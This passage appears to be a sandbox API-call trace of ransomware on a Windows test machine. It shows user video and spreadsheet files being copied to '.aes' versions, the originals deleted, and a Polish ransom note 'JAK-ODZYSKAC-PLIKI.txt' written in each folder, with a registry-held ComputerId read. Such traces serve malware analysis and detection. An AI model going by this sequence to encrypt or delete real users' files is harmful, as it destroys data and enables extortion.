pOutBufLen=0x77ce624) returned 0x6f [0098.138] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0098.138] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0098.145] LocalFree (hMem=0x6ff3178) returned 0x0 [0098.145] GetAdaptersAddresses () returned 0x6f [0098.149] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0098.149] GetAdaptersAddresses () returned 0x0 [0098.154] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0098.160] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0098.160] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0098.215] LocalFree (hMem=0x1c8ab8) returned 0x0 [0098.216] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0098.222] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0098.222] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0098.228] LocalFree (hMem=0x1c8ab8) returned 0x0 [0098.228] LocalFree (hMem=0x7042020) returned 0x0 [0098.228] GetBestInterfaceEx (in: pDestAddr=0x2a62018*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0098.307] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\jJRuTZgC0AQOiwVU.flv" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\jjrutzgc0aqoiwvu.flv")) returned 1 [0098.308] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x39 [0098.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0098.308] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4a99d00, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xf4a99d00, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xf4a99d00, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0098.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0098.309] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0098.368] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\pI8CT7hfK.avi", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\pI8CT7hfK.avi", lpFilePart=0x0) returned 0x2c [0098.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0098.368] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\pI8CT7hfK.avi" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\pi8ct7hfk.avi"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x328f6450, ftCreationTime.dwHighDateTime=0x1d302e9, ftLastAccessTime.dwLowDateTime=0xa2681ce0, ftLastAccessTime.dwHighDateTime=0x1d2fa9c, ftLastWriteTime.dwLowDateTime=0xa2681ce0, ftLastWriteTime.dwHighDateTime=0x1d2fa9c, nFileSizeHigh=0x0, nFileSizeLow=0xdde6)) returned 1 [0098.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0098.369] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\pI8CT7hfK.avi", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\pI8CT7hfK.avi", lpFilePart=0x0) returned 0x2c [0098.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0098.369] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\pI8CT7hfK.avi" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\pi8ct7hfk.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x540 [0098.369] GetFileType (hFile=0x540) returned 0x1 [0098.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0098.369] GetFileType (hFile=0x540) returned 0x1 [0098.369] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\pI8CT7hfK.avi.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\pI8CT7hfK.avi.aes", lpFilePart=0x0) returned 0x30 [0098.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0098.369] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\pI8CT7hfK.avi.aes" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\pi8ct7hfk.avi.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x468 [0098.370] GetFileType (hFile=0x468) returned 0x1 [0098.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0098.370] GetFileType (hFile=0x468) returned 0x1 [0098.370] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0098.423] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0098.424] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0098.431] LocalFree (hMem=0x6ff3178) returned 0x0 [0098.431] GetAdaptersAddresses () returned 0x6f [0098.435] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0098.435] GetAdaptersAddresses () returned 0x0 [0098.440] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0098.446] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0098.446] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0098.452] LocalFree (hMem=0x1c8ab8) returned 0x0 [0098.452] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0098.481] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0098.481] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0098.487] LocalFree (hMem=0x1c8ab8) returned 0x0 [0098.488] LocalFree (hMem=0x7042020) returned 0x0 [0098.488] GetBestInterfaceEx (in: pDestAddr=0x2aa504c*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0098.597] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\pI8CT7hfK.avi" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\pi8ct7hfk.avi")) returned 1 [0098.597] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x39 [0098.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0098.597] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4a99d00, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xf4a99d00, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xf4a99d00, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0098.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0098.598] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0098.619] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\TydhicM2z.flv", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\TydhicM2z.flv", lpFilePart=0x0) returned 0x26 [0098.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0098.619] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\TydhicM2z.flv" (normalized: "c:\\users\\kft6utqw\\videos\\tydhicm2z.flv"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93237070, ftCreationTime.dwHighDateTime=0x1d2ffc1, ftLastAccessTime.dwLowDateTime=0x90c1b830, ftLastAccessTime.dwHighDateTime=0x1d3059f, ftLastWriteTime.dwLowDateTime=0x90c1b830, ftLastWriteTime.dwHighDateTime=0x1d3059f, nFileSizeHigh=0x0, nFileSizeLow=0x9055)) returned 1 [0098.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0098.619] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\TydhicM2z.flv", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\TydhicM2z.flv", lpFilePart=0x0) returned 0x26 [0098.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0098.619] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\TydhicM2z.flv" (normalized: "c:\\users\\kft6utqw\\videos\\tydhicm2z.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x540 [0098.619] GetFileType (hFile=0x540) returned 0x1 [0098.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0098.620] GetFileType (hFile=0x540) returned 0x1 [0098.620] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\TydhicM2z.flv.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\TydhicM2z.flv.aes", lpFilePart=0x0) returned 0x2a [0098.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0098.620] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\TydhicM2z.flv.aes" (normalized: "c:\\users\\kft6utqw\\videos\\tydhicm2z.flv.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x468 [0098.620] GetFileType (hFile=0x468) returned 0x1 [0098.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0098.620] GetFileType (hFile=0x468) returned 0x1 [0098.620] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0098.640] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0098.640] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0098.647] LocalFree (hMem=0x6ff3178) returned 0x0 [0098.647] GetAdaptersAddresses () returned 0x6f [0098.652] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0098.652] GetAdaptersAddresses () returned 0x0 [0098.657] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0098.663] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0098.663] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0098.705] LocalFree (hMem=0x1c8ab8) returned 0x0 [0098.705] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0098.713] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0098.713] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0098.723] LocalFree (hMem=0x1c8ab8) returned 0x0 [0098.723] LocalFree (hMem=0x7042020) returned 0x0 [0098.723] GetBestInterfaceEx (in: pDestAddr=0x29890ac*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0098.808] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\TydhicM2z.flv" (normalized: "c:\\users\\kft6utqw\\videos\\tydhicm2z.flv")) returned 1 [0098.810] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x33 [0098.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0098.810] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\videos\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0098.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0098.810] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", ulOptions=0x0, samDesired=0x20019, phkResult=0x77cea88 | out: phkResult=0x77cea88*=0x540) returned 0x0 [0098.810] RegQueryValueExW (in: hKey=0x540, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x0, lpcbData=0x77ceaa4*=0x0 | out: lpType=0x77ceaa8*=0x1, lpData=0x0, lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0098.810] RegQueryValueExW (in: hKey=0x540, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x294f194, lpcbData=0x77ceaa4*=0x4a | out: lpType=0x77ceaa8*=0x1, lpData="0b75c6dd-d172-492e-b7be-2c05de30e808", lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0098.810] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce508, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x33 [0098.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9e4) returned 1 [0098.810] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\videos\\#$# jak-odzyskac-pliki.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x468 [0098.810] GetFileType (hFile=0x468) returned 0x1 [0098.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9e0) returned 1 [0098.810] GetFileType (hFile=0x468) returned 0x1 [0098.810] WriteFile (in: hFile=0x468, lpBuffer=0x2958144*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x77cea80, lpOverlapped=0x0 | out: lpBuffer=0x2958144*, lpNumberOfBytesWritten=0x77cea80*=0xa2c, lpOverlapped=0x0) returned 1 [0098.811] CloseHandle (hObject=0x468) returned 1 [0098.812] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0098.841] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\1LWQeuU.xls", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\1LWQeuU.xls", lpFilePart=0x0) returned 0x32 [0098.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0098.841] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\1LWQeuU.xls" (normalized: "c:\\users\\kft6utqw\\desktop\\1zxeg6xm\\cnh\\1lwqeuu.xls"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x433c5a0, ftCreationTime.dwHighDateTime=0x1d2fe7b, ftLastAccessTime.dwLowDateTime=0x7ca66370, ftLastAccessTime.dwHighDateTime=0x1d2f85a, ftLastWriteTime.dwLowDateTime=0x7ca66370, ftLastWriteTime.dwHighDateTime=0x1d2f85a, nFileSizeHigh=0x0, nFileSizeLow=0xc7df)) returned 1 [0098.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0098.841] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\1LWQeuU.xls", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\1LWQeuU.xls", lpFilePart=0x0) returned 0x32 [0098.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0098.841] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\1LWQeuU.xls" (normalized: "c:\\users\\kft6utqw\\desktop\\1zxeg6xm\\cnh\\1lwqeuu.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x35c [0098.841] GetFileType (hFile=0x35c) returned 0x1 [0098.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0098.841] GetFileType (hFile=0x35c) returned 0x1 [0098.841] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\1LWQeuU.xls.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\1LWQeuU.xls.aes", lpFilePart=0x0) returned 0x36 [0098.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0098.841] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\1LWQeuU.xls.aes" (normalized: "c:\\users\\kft6utqw\\desktop\\1zxeg6xm\\cnh\\1lwqeuu.xls.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x350 [0098.841] GetFileType (hFile=0x350) returned 0x1 [0098.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0098.842] GetFileType (hFile=0x350) returned 0x1 [0098.842] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0098.863] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0098.863] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0098.870] LocalFree (hMem=0x6ff3178) returned 0x0 [0098.870] GetAdaptersAddresses () returned 0x6f [0098.875] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0098.875] GetAdaptersAddresses () returned 0x0 [0098.880] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0098.886] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0098.886] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0098.895] LocalFree (hMem=0x1c8ab8) returned 0x0 [0098.896] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0098.902] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0098.902] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0098.908] LocalFree (hMem=0x1c8ab8) returned 0x0 [0098.908] LocalFree (hMem=0x7042020) returned 0x0 [0098.908] GetBestInterfaceEx (in: pDestAddr=0x299392c*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0098.993] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\1LWQeuU.xls" (normalized: "c:\\users\\kft6utqw\\desktop\\1zxeg6xm\\cnh\\1lwqeuu.xls")) returned 1 [0098.994] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x41 [0098.994] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0098.995] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\desktop\\1zxeg6xm\\cnh\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0098.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0098.995] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", ulOptions=0x0, samDesired=0x20019, phkResult=0x77cea88 | out: phkResult=0x77cea88*=0x35c) returned 0x0 [0098.995] RegQueryValueExW (in: hKey=0x35c, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x0, lpcbData=0x77ceaa4*=0x0 | out: lpType=0x77ceaa8*=0x1, lpData=0x0, lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0098.995] RegQueryValueExW (in: hKey=0x35c, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x29649fc, lpcbData=0x77ceaa4*=0x4a | out: lpType=0x77ceaa8*=0x1, lpData="0b75c6dd-d172-492e-b7be-2c05de30e808", lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0098.995] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce508, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x41 [0098.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9e4) returned 1 [0098.995] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\desktop\\1zxeg6xm\\cnh\\#$# jak-odzyskac-pliki.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x350 [0098.995] GetFileType (hFile=0x350) returned 0x1 [0098.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9e0) returned 1 [0098.995] GetFileType (hFile=0x350) returned 0x1 [0098.995] WriteFile (in: hFile=0x350, lpBuffer=0x296d9e4*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x77cea80, lpOverlapped=0x0 | out: lpBuffer=0x296d9e4*, lpNumberOfBytesWritten=0x77cea80*=0xa2c, lpOverlapped=0x0) returned 1 [0098.996] CloseHandle (hObject=0x350) returned 1 [0098.996] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0099.023] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\1ZxEG6XM\\cNh\\8ir7B9DO0uh.png", 